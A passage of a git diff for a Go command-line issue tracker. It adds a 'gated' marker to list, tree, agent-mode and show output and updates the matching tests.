gate candidates it names, + // itself an id-set read of a few round trips. Per page, never per row. + displayPrettyListWithDepsMode(issues, false, allDeps, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + gatedIssueIDs(ctx, activeStore, issues, allDeps)) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil @@ -367,11 +372,19 @@ func runListCore(cmd *cobra.Command, _ []string) error { // between the two CALLERS, recorded for the owner in AMBIGUITIES.md // (A-blk-1) rather than converged here. blocking := annotateListBlocking(ctx, activeStore, issueIDs) + // Batched by id set, never per row — see gatesByIssueID. --long and + // --format render no gate (GatedBy lives on types.IssueDetails, which a + // --format template cannot reach), so neither pays for the reads; agent + // and compact mode both spend them and both render them. + var gated map[string][]string + if ui.IsAgentMode() || !in.longFormat { + gated = gatedIssueIDs(ctx, activeStore, issues, nil) + } var buf strings.Builder if ui.IsAgentMode() { for _, issue := range issues { - formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } fmt.Print(buf.String()) //nolint:forbidigo // Agent output is outside the --format contract. printTruncationHint(truncated, in.effectiveLimit) @@ -385,7 +398,7 @@ func runListCore(cmd *cobra.Command, _ []string) error { } else { for _, issue := range issues { labels := labelsMap[issue.ID] - formatIssueCompact(&buf, issue, labels, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatIssueCompact(&buf, issue, labels, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } } diff --git a/cmd/bd/list_footer_counts_test.go b/cmd/bd/list_footer_counts_test.go index e4092876d..e478dcacb 100644 --- a/cmd/bd/list_footer_counts_test.go +++ b/cmd/bd/list_footer_counts_test.go @@ -257,7 +257,7 @@ func TestDisplayPrettyListWithDepsReadyExplicitStatusFooter(t *testing.T) { } depsOut := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress", "", false) + displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress", "", false, nil) return nil }) if strings.Contains(depsOut, "open only") || strings.Contains(depsOut, "excludes in_progress") { diff --git a/cmd/bd/list_format.go b/cmd/bd/list_format.go index 9c29ec946..6377ffd9b 100644 --- a/cmd/bd/list_format.go +++ b/cmd/bd/list_format.go @@ -43,8 +43,30 @@ func renderStatusIcon(status types.Status) string { // formatPrettyIssue formats a single issue for pretty output // Uses semantic colors: status icon colored, priority P0/P1 colored, rest neutral func formatPrettyIssue(issue *types.Issue) string { + return formatPrettyIssueGated(issue, nil) +} + +// formatPrettyIssueGated is formatPrettyIssue with the derived gate marker +// (wy-j2upyy): when an open gate blocks the issue, the glyph column carries +// ⊘ instead of the stored status's icon. The rest of the row is untouched, +// and the stored status is untouched — this is a decoration over the same +// predicate `bd ready` filters on, so the listing stops disagreeing with it. +// +// The marker OUTRANKS the status icon, including ❄: one column can hold one +// glyph, and of the two reasons the work cannot start, the gate is the one a +// reader cannot discover from the row's own fields. It never outranks 📌, +// because types.SubjectCanBeGated refuses a pinned subject outright — a pinned +// bead is out of `bd ready` on its own account, not the gate's. +// +// gatedBy is the gate ids the ONE predicate selected (gatesByIssueID); the +// SubjectCanBeGated re-check is the same clause, not a second rule, and is +// here so a caller that hands over a stale map cannot invent a decoration. +func formatPrettyIssueGated(issue *types.Issue, gatedBy []string) string { // Use shared helpers from ui package statusIcon := ui.RenderStatusIcon(string(issue.Status)) + if len(gatedBy) > 0 && types.SubjectCanBeGated(issue) { + statusIcon = ui.StatusBlockedStyle.Render(ui.StatusIconGated) + } priorityTag := renderPriorityTag(issue.Priority) // Type badge - only show for notable types @@ -132,9 +154,15 @@ func formatIssueLong(buf *strings.Builder, issue *types.Issue, labels []string, } // formatAgentIssue formats a single issue in ultra-compact agent mode format -// Output: "ID: Title" with optional dependency info "(parent: X, blocked by: Y, blocks: Z)" -func formatAgentIssue(buf *strings.Builder, issue *types.Issue, blockedBy, blocks []string, parent string) { - depInfo := formatDependencyInfo(blockedBy, blocks, parent) +// Output: "ID: Title" with optional dependency info +// "(parent: X, blocked by: Y, blocks: Z, gated by: G)" +// +// Agent mode has no glyph column, so the gate rides in the parenthetical the +// line already carries (wy-j2upyy). It is the seat that most needs it: +// ui.IsAgentMode() is true whenever CLAUDE_CODE is set, and an agent reading a +// plain row cannot tell startable work from work a human has to release. +func formatAgentIssue(buf *strings.Builder, issue *types.Issue, blockedBy, blocks []string, parent string, gatedBy []string) { + depInfo := formatDependencyInfo(blockedBy, blocks, parent, gatedBy) if depInfo != "" { buf.WriteString(fmt.Sprintf("%s: %s %s\n", issue.ID, issue.Title, depInfo)) } else { @@ -144,9 +172,15 @@ func formatAgentIssue(buf *strings.Builder, issue *types.Issue, blockedBy, block // formatDependencyInfo formats dependency info for list output. // Parent-child deps are shown as "parent: X" (structural), separate from "blocked by" (blocking). (bd-hcxu) -// Returns "(parent: X, blocked by: Y, blocks: Z)" or "" if no dependencies. -func formatDependencyInfo(blockedBy, blocks []string, parent string) string { - if len(blockedBy) == 0 && len(blocks) == 0 && parent == "" { +// Returns "(parent: X, blocked by: Y, blocks: Z, gated by: G)" or "" if no dependencies. +// +// A gate is also a blocker, so its id appears under BOTH "blocked by" and +// "gated by". The repetition is the point: "blocked by" says what to wait on, +// "gated by" says which of those is a gate — work nobody can start by doing +// more work. The clause is present exactly when the ONE predicate selected a +// gate (types.GateIsHolding + types.SubjectCanBeGated). +func formatDependencyInfo(blockedBy, blocks []string, parent string, gatedBy []string) string { + if len(blockedBy) == 0 && len(blocks) == 0 && parent == "" && len(gatedBy) == 0 { return "" } @@ -160,6 +194,9 @@ func formatDependencyInfo(blockedBy, blocks []string, parent string) string { if len(blocks) > 0 { parts = append(parts, fmt.Sprintf("blocks: %s", strings.Join(blocks, ", "))) } + if len(gatedBy) > 0 { + parts = append(parts, fmt.Sprintf("gated by: %s", strings.Join(gatedBy, ", "))) + } return "(" + strings.Join(parts, ", ") + ")" } @@ -235,7 +272,7 @@ func getClosedBlockerIDs(ctx context.Context, s storage.DoltStorage, allDeps map // formatIssueCompact formats a single issue in compact format to a buffer // Uses status icons for better scanability - consistent with bd graph // Format: [icon] [pin] ID [Priority] [Type] @assignee [labels] - Title (parent: X, blocked by: Y, blocks: Z) -func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []string, blockedBy, blocks []string, parent string) { +func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []string, blockedBy, blocks []string, parent string, gatedBy []string) { labelsStr := "" if len(labels) > 0 { labelsStr = fmt.Sprintf(" %v", labels) @@ -246,7 +283,7 @@ func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []strin } // Format dependency info - depInfo := formatDependencyInfo(blockedBy, blocks, parent) + depInfo := formatDependencyInfo(blockedBy, blocks, parent, gatedBy) if depInfo != "" { depInfo = " " + depInfo } @@ -256,6 +293,11 @@ func formatIssueCompact(buf *strings.Builder, issue *types.Issue, labels []strin if len(blockedBy) > 0 && issue.Status == types.StatusOpen { statusIcon = renderStatusIcon(types.StatusBlocked) } + // A gate is a blocker a reader cannot see in the row, so it takes the + // column back off ● (wy-j2upyy). Same predicate as the tree view's glyph. + if len(gatedBy) > 0 && types.SubjectCanBeGated(issue) { + statusIcon = ui.StatusBlockedStyle.Render(ui.StatusIconGated) + } if issue.Status == types.StatusClosed { // Closed issues: entire line muted (fades visually) diff --git a/cmd/bd/list_helpers_test.go b/cmd/bd/list_helpers_test.go index f9e06041d..2f81c72fc 100644 --- a/cmd/bd/list_helpers_test.go +++ b/cmd/bd/list_helpers_test.go @@ -293,7 +293,7 @@ func TestListDisplayPrettyListHonorsSort(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "closed", "closed", false) + displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "closed", "closed", false, nil) return nil }) newAt, oldAt := strings.Index(out, "bd-new"), strings.Index(out, "bd-old") @@ -309,7 +309,7 @@ func TestListDisplayPrettyListHonorsSort(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "", "", true) + displayPrettyListWithDepsMode(issues, false, nil, "", false, false, "", "", true, nil) return nil }) p3At, p0At := strings.Index(out, "bd-p3"), strings.Index(out, "bd-p0") @@ -328,7 +328,7 @@ func TestListDisplayPrettyListHonorsSort(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode([]*types.Issue{parent, oldChild, newChild}, false, deps, "", false, false, "closed", "closed", false) + displayPrettyListWithDepsMode([]*types.Issue{parent, oldChild, newChild}, false, deps, "", false, false, "closed", "closed", false, nil) return nil }) newAt, oldAt := strings.Index(out, newChild.ID), strings.Index(out, oldChild.ID) @@ -373,7 +373,7 @@ func TestListDisplayPrettyList_TruncatedSummary(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "", "", false) + displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "", "", false, nil) return nil }) if !strings.Contains(out, "Showing 2 issues") { diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index 87bf92152..21c059d50 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -164,7 +164,12 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er if err != nil { return fmt.Errorf("initial query: %w", err) } - displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // --watch renders no gate (the nil gated map), here and on the direct route + // in displayWatchedIssueList: a bead the one-shot listing marks ⊘ keeps its + // plain status glyph while watched, and no refresh tick pays for the gate + // reads. Deliberate, not a forgotten argument — decorating watch means + // computing the map on every refresh. + displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, nil) printTruncationHint(hasMore, in.effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -191,7 +196,8 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // Undecorated, as the initial render above. + displayPrettyListWithDepsMode(issues, true, deps, "", hasMore, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, nil) printTruncationHint(hasMore, in.effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -247,7 +253,10 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I printTruncationHint(truncated, in.effectiveLimit) return nil } - displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + // The gate decoration rides the edge map this route just read, so the + // proxied pretty listing says what the direct one says (wy-j2upyy). + displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + proxiedGatedIssueIDs(ctx, uw, issues, depsByIssueID)) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil @@ -276,11 +285,19 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I } blocking := newListBlocking(result) + // The proxied --json routes get gated_by from workapi.BuildIssueDetails; + // without this the proxied TEXT routes would render a plain OPEN row for + // the same bead (wy-j2upyy). --long renders no gate, so it pays nothing. + var gated map[string][]string + if ui.IsAgentMode() || !in.longFormat { + gated = proxiedGatedIssueIDsOwnUOW(ctx, issues) + } + var buf strings.Builder switch { case ui.IsAgentMode(): for _, issue := range issues { - formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatAgentIssue(&buf, issue, blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } fmt.Print(buf.String()) //nolint:forbidigo // Agent output is outside the --format contract. printTruncationHint(truncated, in.effectiveLimit) @@ -292,7 +309,7 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I } default: for _, issue := range issues { - formatIssueCompact(&buf, issue, labelsMap[issue.ID], blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID]) + formatIssueCompact(&buf, issue, labelsMap[issue.ID], blocking.blockedBy[issue.ID], blocking.blocks[issue.ID], blocking.parent[issue.ID], gated[issue.ID]) } } diff --git a/cmd/bd/list_roles_test.go b/cmd/bd/list_roles_test.go index 40b00b3ff..446c9321b 100644 --- a/cmd/bd/list_roles_test.go +++ b/cmd/bd/list_roles_test.go @@ -79,10 +79,10 @@ func TestNewListBlockingKeysTheDecorationByID(t *testing.T) { if got := blocking.blocks["bd-4"]; len(got) != 1 || got[0] != "bd-1" { t.Errorf("blocks[bd-4] = %v, want [bd-1]", got) } - if got := formatDependencyInfo(blocking.blockedBy["bd-5"], blocking.blocks["bd-5"], blocking.parent["bd-5"]); got != "" { + if got := formatDependencyInfo(blocking.blockedBy["bd-5"], blocking.blocks["bd-5"], blocking.parent["bd-5"], nil); got != "" { t.Errorf("a bare entry rendered %q, want no decoration at all", got) } - if got := formatDependencyInfo(blocking.blockedBy["bd-absent"], blocking.blocks["bd-absent"], blocking.parent["bd-absent"]); got != "" { + if got := formatDependencyInfo(blocking.blockedBy["bd-absent"], blocking.blocks["bd-absent"], blocking.parent["bd-absent"], nil); got != "" { t.Errorf("an id the role did not mention rendered %q, want no decoration at all", got) } } diff --git a/cmd/bd/list_show_filter_modes.go b/cmd/bd/list_show_filter_modes.go index 65578034d..50548cfd6 100644 --- a/cmd/bd/list_show_filter_modes.go +++ b/cmd/bd/list_show_filter_modes.go @@ -176,7 +176,9 @@ func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore allDeps = deps } } - displayPrettyListWithDepsMode(issues, true, allDeps, "", truncated, readyFiltered, statusSelector, sortBy, reverse) + // No gate decoration (the nil gated map): --watch deliberately renders a + // gated bead undecorated, on both routes; see runListProxiedWatch. + displayPrettyListWithDepsMode(issues, true, allDeps, "", truncated, readyFiltered, statusSelector, sortBy, reverse, nil) } // watchIssues returns an error only for the initial query — a failure there @@ -268,7 +270,8 @@ func runListProxiedHierarchicalParent(ctx context.Context, uw uow.UnitOfWork, in } // Hierarchical --parent walks use an unlimited per-level query; never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse) + displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status, in.SortBy, in.Reverse, + proxiedGatedIssueIDs(ctx, uw, treeIssues, depsByIssueID)) printSkipLabelsFooter(in.SkipLabels) return nil } diff --git a/cmd/bd/list_test.go b/cmd/bd/list_test.go index 2aa3dcd64..4404f688c 100644 --- a/cmd/bd/list_test.go +++ b/cmd/bd/list_test.go @@ -1045,7 +1045,7 @@ func TestFormatIssueCompact(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, tt.issue, tt.labels, nil, nil, "") + formatIssueCompact(&buf, tt.issue, tt.labels, nil, nil, "", nil) result := buf.String() if !strings.Contains(result, tt.want) { t.Errorf("formatIssueCompact() = %q, want to contain %q", result, tt.want) @@ -1239,7 +1239,7 @@ func TestFormatIssueCompactWithDependencies(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, tt.issue, nil, tt.blockedBy, tt.blocks, "") + formatIssueCompact(&buf, tt.issue, nil, tt.blockedBy, tt.blocks, "", nil) result := buf.String() if !strings.Contains(result, tt.want) { t.Errorf("formatIssueCompact() = %q, want to contain %q", result, tt.want) @@ -1262,7 +1262,7 @@ func TestFormatIssueCompactBlockedIcon(t *testing.T) { Status: types.StatusOpen, } var buf strings.Builder - formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "") + formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "", nil) result := buf.String() // Should show blocked icon ● not open icon ○ if strings.Contains(result, ui.StatusIconOpen) { @@ -1282,7 +1282,7 @@ func TestFormatIssueCompactBlockedIcon(t *testing.T) { Status: types.StatusOpen, } var buf strings.Builder - formatIssueCompact(&buf, issue, nil, nil, nil, "") + formatIssueCompact(&buf, issue, nil, nil, nil, "", nil) result := buf.String() if !strings.Contains(result, ui.StatusIconOpen) { t.Errorf("open issue without blockers should show open icon ○, got: %q", result) @@ -1298,7 +1298,7 @@ func TestFormatIssueCompactBlockedIcon(t *testing.T) { Status: types.StatusInProgress, } var buf strings.Builder - formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "") + formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "", nil) result := buf.String() // Should keep in_progress icon, not override to blocked if !strings.Contains(result, ui.StatusIconInProgress) { @@ -1640,6 +1640,7 @@ func TestFormatDependencyInfoWithParent(t *testing.T) { blockedBy []string blocks []string parent string + gatedBy []string want string }{ { @@ -1675,11 +1676,25 @@ func TestFormatDependencyInfoWithParent(t *testing.T) { blockedBy: []string{"blocker-1"}, want: "(blocked by: blocker-1)", }, + { + // A gate is also a blocker, so it shows up twice on purpose: + // "blocked by" says what to wait on, "gated by" says which of + // those nobody can clear by doing more work (wy-j2upyy). + name: "gate names itself in both clauses", + blockedBy: []string{"bd-gate"}, + gatedBy: []string{"bd-gate"}, + want: "(blocked by: bd-gate, gated by: bd-gate)", + }, + { + name: "gated by alone still renders", + gatedBy: []string{"bd-gate"}, + want: "(gated by: bd-gate)", + }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - result := formatDependencyInfo(tt.blockedBy, tt.blocks, tt.parent) + result := formatDependencyInfo(tt.blockedBy, tt.blocks, tt.parent, tt.gatedBy) if result != tt.want { t.Errorf("formatDependencyInfo() = %q, want %q", result, tt.want) } @@ -1700,7 +1715,7 @@ func TestFormatIssueCompactWithParent(t *testing.T) { t.Run("shows parent annotation", func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent") + formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent", nil) result := buf.String() if !strings.Contains(result, "(parent: test-parent)") { t.Errorf("Expected '(parent: test-parent)' in output, got %q", result) @@ -1709,7 +1724,7 @@ func TestFormatIssueCompactWithParent(t *testing.T) { t.Run("does not show blocked by for parent", func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent") + formatIssueCompact(&buf, issue, nil, nil, nil, "test-parent", nil) result := buf.String() if strings.Contains(result, "blocked by") { t.Errorf("Should not contain 'blocked by' for parent-child dep, got %q", result) @@ -1718,7 +1733,7 @@ func TestFormatIssueCompactWithParent(t *testing.T) { t.Run("shows parent and blocked by together", func(t *testing.T) { var buf strings.Builder - formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "test-parent") + formatIssueCompact(&buf, issue, nil, []string{"blocker-1"}, nil, "test-parent", nil) result := buf.String() if !strings.Contains(result, "(parent: test-parent, blocked by: blocker-1)") { t.Errorf("Expected '(parent: test-parent, blocked by: blocker-1)' in output, got %q", result) diff --git a/cmd/bd/list_tree.go b/cmd/bd/list_tree.go index 24ca162a7..c47e47eec 100644 --- a/cmd/bd/list_tree.go +++ b/cmd/bd/list_tree.go @@ -162,8 +162,8 @@ const treeCycleMarker = "(cycle: shown above; parent-child cycle in stored edges // Children use the requested list order. With --deps, dependency order takes // precedence and the requested order breaks ties. When dr is set, each node's // dependency edges are annotated just beneath it. -func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int) { - printPrettyTreePath(childrenMap, parentID, prefix, dr, compare, map[string]bool{parentID: true}) +func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int, gated map[string][]string) { + printPrettyTreePath(childrenMap, parentID, prefix, dr, compare, gated, map[string]bool{parentID: true}) } // printPrettyTreePath is printPrettyTree carrying the set of ancestors on the @@ -176,7 +176,7 @@ func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, pre // renders under both; only a true ancestor counts as a cycle. Like the // "(shown above)" arm of bd dep tree, the marked line carries no --deps // annotations: they were printed with the node's first appearance. -func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int, onPath map[string]bool) { +func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, prefix string, dr *depRender, compare func(a, b *types.Issue) int, gated map[string][]string, onPath map[string]bool) { children := childrenMap[parentID] if dr != nil { @@ -192,10 +192,10 @@ func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, connector = "└── " } if onPath[child.ID] { - fmt.Printf("%s%s%s %s\n", prefix, connector, formatPrettyIssue(child), ui.RenderMuted(treeCycleMarker)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Printf("%s%s%s %s\n", prefix, connector, formatPrettyIssueGated(child, gated[child.ID]), ui.RenderMuted(treeCycleMarker)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. continue } - fmt.Printf("%s%s%s\n", prefix, connector, formatPrettyIssue(child)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Printf("%s%s%s\n", prefix, connector, formatPrettyIssueGated(child, gated[child.ID])) //nolint:forbidigo // Pretty-tree output is outside the --format contract. extension := "│ " if isLast { @@ -203,7 +203,7 @@ func printPrettyTreePath(childrenMap map[string][]*types.Issue, parentID string, } dr.annotationsFor(child.ID, prefix+extension) onPath[child.ID] = true - printPrettyTreePath(childrenMap, child.ID, prefix+extension, dr, compare, onPath) + printPrettyTreePath(childrenMap, child.ID, prefix+extension, dr, compare, gated, onPath) delete(onPath, child.ID) } } @@ -222,7 +222,7 @@ func displayPrettyList(issues []*types.Issue, showHeader bool) { // summary through this wrapper, and a hardcoded false silently restores the // vacuous "(N open, 0 in progress)" that listFooterLine exists to suppress. func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, truncated, readyFiltered bool, statusSelector string) { - displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector, "", false) + displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector, "", false, nil) } // listFooterLine renders the one-line summary under a text listing. @@ -284,7 +284,10 @@ func readyFooterScope(statusSelector string) string { // readyFiltered means --ready was in force; statusSelector is the --status value // so the summary names the pin that actually applied — see listFooterLine. // sortBy and reverse preserve the requested list order within the hierarchy. -func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector, sortBy string, reverse bool) { +// gated maps each listed id to the OPEN gates holding it (gatesByIssueID); +// nil means the caller computed no gate decoration, and every row renders as +// it always did. +func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector, sortBy string, reverse bool, gated map[string][]string) { if showHeader { // Clear screen and show header fmt.Print("\033[2J\033[H") //nolint:forbidigo // Pretty-tree output is outside the --format contract. @@ -313,9 +316,9 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe } for _, issue := range roots { - fmt.Println(formatPrettyIssue(issue)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Println(formatPrettyIssueGated(issue, gated[issue.ID])) //nolint:forbidigo // Pretty-tree output is outside the --format contract. dr.annotationsFor(issue.ID, "") - printPrettyTree(childrenMap, issue.ID, "", dr, compare) + printPrettyTree(childrenMap, issue.ID, "", dr, compare, gated) } // Summary — counts describe the shown page; never label a truncated page "Total". @@ -333,8 +336,15 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe } fmt.Println(listFooterLine(len(issues), openCount, inProgressCount, truncated, readyFiltered, statusSelector)) //nolint:forbidigo // Pretty-tree output is outside the --format contract. fmt.Println() //nolint:forbidigo // Pretty-tree output is outside the --format contract. - fmt.Println("Status: ○ open ◐ in_progress ● blocked ✓ closed ❄ deferred") //nolint:forbidigo // Pretty-tree output is outside the --format contract. - fmt.Println("Priority: P0–P4 (label only; not a status icon)") //nolint:forbidigo // Pretty-tree output is outside the --format contract. + // The gated glyph joins the legend only when the page actually carries one: + // it is a derived decoration, not a status, and a permanent entry would + // promise a row shape most listings never show. + statusLegend := "Status: ○ open ◐ in_progress ● blocked ✓ closed ❄ deferred" + if len(gated) > 0 { + statusLegend += " " + ui.StatusIconGated + " gated (open gate; not in bd ready)" + } + fmt.Println(statusLegend) //nolint:forbidigo // Pretty-tree output is outside the --format contract. + fmt.Println("Priority: P0–P4 (label only; not a status icon)") //nolint:forbidigo // Pretty-tree output is outside the --format contract. if dr != nil { fmt.Printf("Deps: %s = depends-on / relationship (points to target); siblings ordered so dependencies come first; ↗ = target outside current view\n", depGlyph) //nolint:forbidigo // Pretty-tree output is outside the --format contract. } diff --git a/cmd/bd/list_tree_cycle_test.go b/cmd/bd/list_tree_cycle_test.go index 6f40f46f1..d2ff5aa89 100644 --- a/cmd/bd/list_tree_cycle_test.go +++ b/cmd/bd/list_tree_cycle_test.go @@ -111,7 +111,7 @@ func TestPrintPrettyTree_CycleRendersAncestorOnce(t *testing.T) { } out, terminated := captureBoundedStdout(t, func() { - printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority) + printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority, nil) }) if !terminated { t.Fatalf("printPrettyTree did not return within %v on a cyclic tree; first output:\n%s", captureDeadline, head(out, 20)) @@ -148,7 +148,7 @@ func TestPrintPrettyTree_DiamondRendersUnderBothParents(t *testing.T) { } out, terminated := captureBoundedStdout(t, func() { - printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority) + printPrettyTree(childrenMap, "bd-a", "", nil, compareIssuesByPriority, nil) }) if !terminated { t.Fatalf("printPrettyTree did not return on an acyclic diamond:\n%s", head(out, 20)) @@ -233,7 +233,7 @@ func TestDisplayPrettyListWithDepsMode_CycleMarkerCarriesNoAnnotations(t *testin } out, terminated := captureBoundedStdout(t, func() { - displayPrettyListWithDepsMode(issues, false, allDeps, "all", false, false, "", "", false) + displayPrettyListWithDepsMode(issues, false, allDeps, "all", false, false, "", "", false, nil) }) if !terminated { t.Fatalf("bd list --tree --deps did not return within %v on a parent-child cycle; first output:\n%s", captureDeadline, head(out, 20)) diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 509149aa0..75f3c6668 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -191,15 +191,30 @@ var showCmd = &cobra.Command{ result.Close() continue } + // Dependencies are read here rather than at the DEPENDS ON + // section below because the header needs them: the derived GATED + // marker (wy-j2upyy) is the gate-typed subset of this very set, + // so hoisting the read decorates the header and the meta block + // without a second query. Best effort, as it always was: a failed + // read renders the issue undecorated rather than not at all. + // + // Counts first — see readDepCounts for why the order matters. The + // listing's error is KEPT, not discarded: rendering stays best + // effort, but a FAILED listing and a SHORT one both leave the + // slice empty, and only the second is an unresolvable edge. + depCountsSnapshot := readDepCounts(ctx, issueStore, issue.ID) + depsWithMeta, depsErr := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) + gates := types.GatesHolding(issue, depsWithMeta) + if idx > 0 { fmt.Println("\n" + ui.RenderMuted(strings.Repeat("─", 60))) - fmt.Printf("\n%s\n", formatIssueHeader(issue)) + fmt.Printf("\n%s\n", formatIssueHeaderWithGates(issue, gates)) } else { - fmt.Printf("%s\n", formatIssueHeader(issue)) + fmt.Printf("%s\n", formatIssueHeaderWithGates(issue, gates)) } // Metadata: Owner · Type | Created · Updated - fmt.Println(formatIssueMetadata(issue)) + fmt.Println(formatIssueMetadataWithGates(issue, gates)) // Content sections — always show DESCRIPTION header so the user // can distinguish "empty" from "hidden" (GH#3336). @@ -234,12 +249,7 @@ var showCmd = &cobra.Command{ relatedSeen := make(map[string]*types.IssueWithDependencyMetadata) // Show dependencies - grouped by dependency type for clarity - // Counts first — see readDepCounts for why the order matters. - depCountsSnapshot := readDepCounts(ctx, issueStore, issue.ID) - // The errors are KEPT, not discarded: rendering stays best - // effort, but a FAILED listing and a SHORT one both leave the - // slice empty, and only the second is an unresolvable edge. - depsWithMeta, depsErr := issueStore.GetDependenciesWithMetadata(ctx, issue.ID) // Best effort: show issue even if deps unavailable + // (read above, with the header's gate decoration). for _, sec := range groupDepSections(depsWithMeta, true, relatedSeen) { printDepSection(sec) } diff --git a/cmd/bd/show_format.go b/cmd/bd/show_format.go index 28504d7f9..69c065fa6 100644 --- a/cmd/bd/show_format.go +++ b/cmd/bd/show_format.go @@ -46,6 +46,17 @@ func formatShortIssue(issue *types.Issue) string { // Format: ID · Title [Priority · STATUS] // All elements in bd show get semantic colors since focus is on one issue func formatIssueHeader(issue *types.Issue) string { + return formatIssueHeaderWithGates(issue, nil) +} + +// formatIssueHeaderWithGates is formatIssueHeader plus the derived GATED +// marker: [P2 · OPEN · GATED] when an open gate blocks the issue. The stored +// status is untouched — GATED is a third segment, not a replacement — because +// the row really is open and `bd ready` really does skip it, and a reader who +// sees only OPEN has no way to tell those two facts apart. Callers pass the +// gates types.GatesHolding selected; an empty set renders 